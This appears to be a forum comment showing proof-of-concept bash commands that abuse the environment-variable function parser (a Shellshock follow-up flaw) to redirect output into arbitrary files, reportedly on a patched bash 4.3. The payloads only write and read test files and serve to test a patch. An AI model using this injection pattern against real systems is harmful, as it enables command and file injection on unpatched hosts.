Yeah, I hear you.

Well let's see...

All of these work for me (bash 4.3 including yesterday's patches on Debian sid amd64):

    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (b)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (gooooooaaaal)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a).>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)[>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; rm somefile; export badvar='() { (a)=>\'; bash -c "somefile echo tricksie"; cat somefile 
    hobbes@metalbaby:~$ unset badvar; echo tricksie > inputfile; export badvar='() { (a)=<\'; bash -c "inputfile cat";